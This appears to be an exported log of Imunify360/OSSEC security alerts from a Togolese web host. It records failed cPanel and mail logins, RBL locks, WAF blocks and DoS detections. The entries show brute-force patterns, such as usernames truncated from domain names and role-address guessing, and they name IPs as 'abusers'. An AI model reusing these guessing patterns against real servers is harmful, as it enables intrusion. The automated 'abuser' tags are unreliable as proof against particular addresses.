domain: togomedia24.tg
description:
IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)||RSV:8.15||T:APACHE||User:ecukpqcm||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.72.230.226
country_id: 3469034
description:
[2026-06-13 07:59:44 +0000] info [cpaneld] 177.72.230.226 - sahamtg "GET /login/?login_only=1&user=sahamtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.242.158.129
country_id: 3996063
description:
[2026-06-13 07:59:48 +0000] info [cpaneld] 189.242.158.129 - sahamtgcom "GET /login/?login_only=1&user=sahamtgcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sahamtgcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.176.69.192
country_id: 3469034
description:
[2026-06-13 07:59:52 +0000] info [cpaneld] 45.176.69.192 - sahamt "GET /login/?login_only=1&user=sahamt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sahamt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.172.169.237
country_id: 2017370
description:
[2026-06-13 08:00:51 +0000] info [cpaneld] 85.172.169.237 - conseilnsa "GET /login/?login_only=1&user=conseilnsa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseilnsa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.60.74.131
country_id: 3895114
description:
[2026-06-13 08:00:54 +0000] info [cpaneld] 179.60.74.131 - conseilns "GET /login/?login_only=1&user=conseilns&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseilns (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.202.246.132
country_id: 6252001
description:
[2026-06-13 08:01:00 +0000] info [cpaneld] 104.202.246.132 - conseil "GET /login/?login_only=1&user=conseil&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseil (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.77.0.114
country_id: 2542007
description:
[2026-06-13 08:00:49 +0000] info [cpaneld] 196.77.0.114 - conseilnsaf "GET /login/?login_only=1&user=conseilnsaf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseilnsaf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 125.25.82.246
country_id: 1605651
description:
[2026-06-13 08:01:16 +0000] info [cpaneld] 125.25.82.246 - con "GET /login/?login_only=1&user=con&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user con (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.183.17.214
country_id: 2017370
description:
[2026-06-13 08:00:26 +0000] info [cpaneld] 62.183.17.214 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.206.47.113
country_id: 2542007
description:
2026-06-13 08:01:58 dovecot_plain authenticator failed for H=adsl196-113-47-206-196.adsl196-2.iam.net.ma (0dqdai7aguza7ph8c1vlz) [196.206.47.113]:47807: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 183.81.33.61
country_id: 1562822
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:08-03.183.81.33.61||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.254.80.212
country_id: 2215636
description:
[2026-06-13 08:03:53 +0000] info [cpaneld] 41.254.80.212 - togodailynewstg "GET /login/?login_only=1&user=togodailynewstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togodailynewstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.41.130.7
country_id: 1522867
description:
[2026-06-13 08:03:59 +0000] info [cpaneld] 193.41.130.7 - togodailynew "GET /login/?login_only=1&user=togodailynew&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togodailynew (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.188.222.113
country_id: 3996063
description:
[2026-06-13 08:03:50 +0000] info [cpaneld] 187.188.222.113 - togodailynews "GET /login/?login_only=1&user=togodailynews&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togodailynews (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.158.58.29
country_id: 1512440
description:
[2026-06-13 08:04:07 +0000] info [cpaneld] 94.158.58.29 - togodailyn "GET /login/?login_only=1&user=togodailyn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togodailyn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.119.49.11
country_id: 1282988
description:
[2026-06-13 08:04:15 +0000] info [cpaneld] 111.119.49.11 - togodai "GET /login/?login_only=1&user=togodai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togodai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.14.11.99
country_id: 6251999
description:
[2026-06-13 08:04:26 +0000] info [cpaneld] 74.14.11.99 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.155.253.49
country_id: 3469034
description:
Jun 13 08:04:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.155.253.49 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.14.59.27
country_id: 3625428
description:
[2026-06-13 08:07:42 +0000] info [cpaneld] 186.14.59.27 - fastsolutiontg "GET /login/?login_only=1&user=fastsolutiontg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolutiontg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.137.177.204
country_id: 3625428
description:
[2026-06-13 08:07:51 +0000] info [cpaneld] 38.137.177.204 - fastsolut "GET /login/?login_only=1&user=fastsolut&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolut (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.199.58.208
country_id: 3658394
description:
[2026-06-13 08:07:58 +0000] info [cpaneld] 181.199.58.208 - fastsol "GET /login/?login_only=1&user=fastsol&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsol (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.228.205.241
country_id: 2017370
description:
[2026-06-13 08:08:06 +0000] info [cpaneld] 94.228.205.241 - fast "GET /login/?login_only=1&user=fast&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fast (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.237.4.37
country_id: 3624060
description:
[2026-06-13 08:08:12 +0000] info [cpaneld] 201.237.4.37 - fa "GET /login/?login_only=1&user=fa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 153.66.179.81
country_id: 6252001
description:
[2026-06-13 08:07:44 +0000] info [cpaneld] 153.66.179.81 - fastsolutio "GET /login/?login_only=1&user=fastsolutio&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolutio (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.158.228.62
country_id: 3865483
description:
[2026-06-13 08:07:55 +0000] info [cpaneld] 186.158.228.62 - fastsolu "GET /login/?login_only=1&user=fastsolu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 124.120.15.142
country_id: 1605651
description:
[2026-06-13 08:08:02 +0000] info [cpaneld] 124.120.15.142 - fastso "GET /login/?login_only=1&user=fastso&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastso (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 149.90.104.94
country_id: 2264397
description:
149.90.104.94 - - [13/Jun/2026:08:10:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6592924&pdata=https%253A%252F%252Ftogodailynews.tg%252F17eme-fil-kodzo-adedze-constate-letat-davancement-des-travaux%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781338222 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/17eme-fil-kodzo-adedze-constate-letat-davancement-des-travaux/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.4447.1842 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:149.90.104.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.196.12.211
country_id: 3658394
description:
181.196.12.211 - - [13/Jun/2026:08:12:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727591&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-les-deux-nouveaux-membres-de-la-cour-constitutionnelle-ont-prete-serment%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781338327 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-les-deux-nouveaux-membres-de-la-cour-constitutionnelle-ont-prete-serment/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.6608.1158 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.196.12.211


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 116.99.248.207
country_id: 1562822
description:
[2026-06-13 08:12:33 +0000] info [cpaneld] 116.99.248.207 - zephyr "GET /login/?login_only=1&user=zephyr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zephyr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.115.208.250
country_id: 3923057
description:
[2026-06-13 08:12:45 +0000] info [cpaneld] 181.115.208.250 - zeph "GET /login/?login_only=1&user=zeph&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zeph (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.253.54.39
country_id: 3469034
description:
[2026-06-13 08:12:48 +0000] info [cpaneld] 191.253.54.39 - zep "GET /login/?login_only=1&user=zep&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zep (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.166.222.10
country_id: 102358
description:
31.166.222.10 - - [13/Jun/2026:08:15:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7168707&pdata=https%253A%252F%252Ftogodailynews.tg%252Fgrands-lacs-loif-affirme-son-soutien-a-la-mediation-togolaise%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781338516 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/grands-lacs-loif-affirme-son-soutien-a-la-mediation-togolaise/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.8184.1274 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.166.222.10


plugin: cl_dos
name: DOS detection
abuser: 172.237.73.24
country_id: 1880251
description:
2026-06-13 08:15:53.790864752 +0000 GMT m=+38557.469694525 Denial of Service attack was discovered from 172.237.73.24, on port 80. Open connections: 494


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.60.163.162
country_id: 1210997
description:
103.60.163.162 - - [13/Jun/2026:08:16:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738142&pdata=https%253A%252F%252Ftogodailynews.tg%252Fuemoa-les-echanges-exterieurs-affichent-un-solde-excedentaire-de-1-6560-milliards-fcfa-au-1er-trimestre-2025%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781338574 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/uemoa-les-echanges-exterieurs-affichent-un-solde-excedentaire-de-1-6560-milliards-fcfa-au-1er-trimestre-2025/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.9934.1623 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.60.163.162


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.7
country_id: 6252001
description:
205.169.39.7 - - [13/Jun/2026:08:16:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12949861&pdata=http%253A%252F%252Fwww.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781338617 HTTP/1.1" 302 0 www.crepsad.tg "http://www.crepsad.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.7


plugin: cl_dos
name: DOS detection
abuser: 172.237.73.24
country_id: 1880251
description:
2026-06-13 08:16:24.919405986 +0000 GMT m=+38588.598235859 Denial of Service attack was discovered from 172.237.73.24, on port 80. Open connections: 472


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 08:20:25 +0000] info [cpaneld] 185.213.83.136 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [13/Jun/2026:08:22:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248747&pdata=http%253A%252F%252Fmisstogo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781338937 HTTP/1.1" 302 0 misstogo.tg "http://misstogo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.250.138
country_id: 1269750
description:
Jun 13 08:23:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.250.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.221.130.102
country_id: 1269750
description:
Jun 13 08:23:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.221.130.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.198.85
country_id: 2413451
description:
Jun 13 08:24:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.198.85 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 08:24:49 +0000] info [cpaneld] 185.213.83.136 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.225.195.91
country_id: 3865483
description:
Jun 13 08:26:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.225.195.91 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.154
country_id: 1880251
description:
47.128.96.154 - - [13/Jun/2026:08:27:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803934&pdata=https%253A%252F%252Ftdn.tg%252Fsunu-assurances-vie-togo-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781339256 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/sunu-assurances-vie-togo-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.154


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.211.244.218
country_id: 1814991
description:
Jun 13 08:27:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.211.244.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.94.146
country_id: 2635167
description:
[2026-06-13 08:28:57 +0000] info [cpaneld] 217.181.94.146 - pnlpzmfv "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.56.133.0
country_id: 953987
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/47.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.34
country_id: 1269750
description:
2026-06-13 08:36:07 dovecot_plain authenticator failed for H=(bactatised) [182.95.181.34]:57910: 535 Incorrect authentication data (set_id=admin@soroubat.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.4.96.181
country_id: 3865483
description:
[2026-06-13 08:35:31 +0000] info [cpaneld] 186.4.96.181 - anrtog "GET /login/?login_only=1&user=anrtog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrtog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.204.223.55
country_id: 3686110
description:
[2026-06-13 08:35:33 +0000] info [cpaneld] 152.204.223.55 - anrto "GET /login/?login_only=1&user=anrto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.251.56.83
country_id: 2542007
description:
[2026-06-13 08:35:23 +0000] info [cpaneld] 41.251.56.83 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 151.240.92.97
country_id: 6252001
description:
[2026-06-13 08:37:09 +0000] info [cpaneld] 151.240.92.97 - whmcsadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 08:37:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.206.33.141
country_id: 2542007
description:
Jun 13 08:38:48 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.206.33.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.206.33.141
country_id: 2542007
description:
2026-06-13 08:38:50 dovecot_plain authenticator failed for H=adsl196-141-33-206-196.adsl196-2.iam.net.ma (frw6pw7z7tnxpi0hq0) [196.206.33.141]:60265: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.171.200.200
country_id: 3865483
domain: www.worldinfo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.worldinfo.tg/ouverture-ce-mardi-a-lome-du-16e-forum-de-lagoa/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.199.123.37
country_id: 1880251
description:
[2026-06-13 08:40:09 +0000] info [cpaneld] 128.199.123.37 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.250.191.250
country_id: 3017382
description:
2026-06-13 08:41:46 dovecot_plain authenticator failed for H=lfbn-bor-1-1384-250.w193-250.abo.wanadoo.fr ([69.172.210.47]) [193.250.191.250]:38560: 535 Incorrect authentication data (set_id=info@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.80.237.201
country_id: 3865483
description:
2026-06-13 08:42:00 dovecot_plain authenticator failed for H=([69.172.210.47]) [191.80.237.201]:48631: 535 Incorrect authentication data (set_id=admin@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.129.198.194
country_id: 285570
description:
2026-06-13 08:42:15 dovecot_plain authenticator failed for H=([69.172.210.47]) [94.129.198.194]:5039: 535 Incorrect authentication data (set_id=support@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.234.34.95
country_id: 3865483
description:
2026-06-13 08:43:02 dovecot_plain authenticator failed for H=([69.172.210.47]) [45.234.34.95]:59400: 535 Incorrect authentication data (set_id=contato@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.129.198.194
country_id: 285570
description:
2026-06-13 08:42:22 dovecot_login authenticator failed for H=([69.172.210.47]) [94.129.198.194]:5039: 535 Incorrect authentication data (set_id=support@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.237.29.0
country_id: 3469034
description:
2026-06-13 08:42:31 dovecot_plain authenticator failed for H=([69.172.210.47]) [45.237.29.0]:4428: 535 Incorrect authentication data (set_id=marketing@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.207.212.97
country_id: 2921044
description:
2026-06-13 08:42:45 dovecot_plain authenticator failed for H=p5dcfd461.dip0.t-ipconnect.de ([69.172.210.47]) [93.207.212.97]:39170: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.65.217.64
country_id: 1168579
description:
2026-06-13 08:43:52 dovecot_plain authenticator failed for H=([69.172.210.47]) [58.65.217.64]:46519: 535 Incorrect authentication data (set_id=comercial@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.80.42.136
country_id: 3469034
description:
Jun 13 08:43:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.80.42.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.75.104.26
country_id: 3469034
description:
2026-06-13 08:44:09 dovecot_plain authenticator failed for H=([69.172.210.47]) [177.75.104.26]:13410: 535 Incorrect authentication data (set_id=it@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.86.176.113
country_id: 3895114
description:
2026-06-13 08:43:19 dovecot_plain authenticator failed for H=pc-113-176-86-200.cm.vtr.net ([69.172.210.47]) [200.86.176.113]:52200: 535 Incorrect authentication data (set_id=contacto@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.215.120.229
country_id: 3996063
description:
2026-06-13 08:43:34 dovecot_plain authenticator failed for H=([69.172.210.47]) [189.215.120.229]:44506: 535 Incorrect authentication data (set_id=financeiro@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.203.220.178
country_id: 732800
description:
Jun 13 08:43:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.203.220.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.173.45.20
country_id: 3865483
description:
2026-06-13 08:45:11 dovecot_plain authenticator failed for H=([69.172.210.47]) [190.173.45.20]:50102: 535 Incorrect authentication data (set_id=office@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.75.104.26
country_id: 3469034
description:
2026-06-13 08:44:16 dovecot_login authenticator failed for H=([69.172.210.47]) [177.75.104.26]:13410: 535 Incorrect authentication data (set_id=it@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.244.235.176
country_id: 6252001
description:
2026-06-13 08:44:24 dovecot_plain authenticator failed for H=c-98-244-235-176.hsd1.fl.comcast.net ([69.172.210.47]) [98.244.235.176]:37616: 535 Incorrect authentication data (set_id=accounts@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.226.150.218
country_id: 3932488
description:
2026-06-13 08:44:39 dovecot_plain authenticator failed for H=([69.172.210.47]) [38.226.150.218]:39295: 535 Incorrect authentication data (set_id=suporte@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.65.108.243
country_id: 3865483
description:
2026-06-13 08:44:53 dovecot_plain authenticator failed for H=([69.172.210.47]) [186.65.108.243]:43692: 535 Incorrect authentication data (set_id=hr@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-13 08:44:58 +0000] info [cpaneld] 103.253.27.219 - 1yTd3Xo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.173.45.20
country_id: 3865483
description:
2026-06-13 08:45:18 dovecot_login authenticator failed for H=([69.172.210.47]) [190.173.45.20]:50102: 535 Incorrect authentication data (set_id=office@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.140.37.69
country_id: 2017370
description:
2026-06-13 08:45:26 dovecot_plain authenticator failed for H=broadband-178-140-37-69.ip.moscow.rt.ru ([69.172.210.47]) [178.140.37.69]:42504: 535 Incorrect authentication data (set_id=soporte@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.109.250.168
country_id: 690791
description:
2026-06-13 08:45:41 dovecot_plain authenticator failed for H=([69.172.210.47]) [176.109.250.168]:41178: 535 Incorrect authentication data (set_id=ventas@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.201.235.15
country_id: 3686110
description:
2026-06-13 08:45:56 dovecot_plain authenticator failed for H=([69.172.210.47]) [152.201.235.15]:43518: 535 Incorrect authentication data (set_id=clients@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.121.173.21
country_id: 1282988
description:
